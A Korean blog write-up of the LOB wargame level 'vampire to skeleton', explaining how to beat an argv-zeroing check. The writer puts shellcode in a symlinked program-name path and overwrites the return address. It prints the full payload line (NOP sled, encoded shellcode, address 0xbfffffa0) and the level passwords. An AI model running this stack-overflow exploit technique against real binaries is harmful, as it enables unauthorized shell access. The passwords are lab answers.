티스토리 뷰





[LOB] vampire -> skeleton


id : vampire

pw : music world


먼저 힌트를 보겠습니다.



코드 입니다.



밑에가 잘렸습니다.


밑에 //ultra argv hunter 이 부분을 잘 보면


argv를 모두 0으로 초기화를 합니다.


그렇다면 쓸 수 있는 스택 공간이 있는지 확인해보겠습니다.


디버깅을 하기위해 tmp폴더를 만들고 옮겼습니다.


쓸 수 있는 스택 공간을 확인 해보겠습니다.


코드와 같이 0으로 다 초기화가 되었는데 마지막 쯤에 0이 아닌 것들이 있습니다.


이 부분이 뭔지 확인해보니,



실행 파일의 경로 이네요.


이 부분을 이용해서 공격하면 될 것 같습니다.


argv[0]에 쉘 코드로 심볼릭 링크를 걸어주고 실행하고 저 위치로 ret주소를 변경해주면 될 것 같습니다.


먼저 심볼릭 링크를 걸어주겠습니다.



명령어 입니다.


심볼릭 링크를 걸어주고


아까 파일 위치의 경로를 대략 0xbfffffa0으로 두고 공격하겠습니다.


페이로드 입니다.


./`python -c 'print "\x90"*99+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*30'` `python -c 'print "\x90"*44+"\xa0\xff\xff\xbf"'`





권한을 획득했습니다.


skeleton의 password는 “shellcoder” 입니다.



'pwnable > LOB' 카테고리의 다른 글

[LOB] skeleton -> golem write-up  (0) 2018.02.14
[LOB] troll -> vampire write-up  (0) 2018.02.11
[LOB] orge -> troll write-up  (0) 2018.02.11
[LOB] darkelf -> orge write-up  (0) 2018.01.27
[LOB] wolfman -> darkelf write-up  (0) 2018.01.27
Comments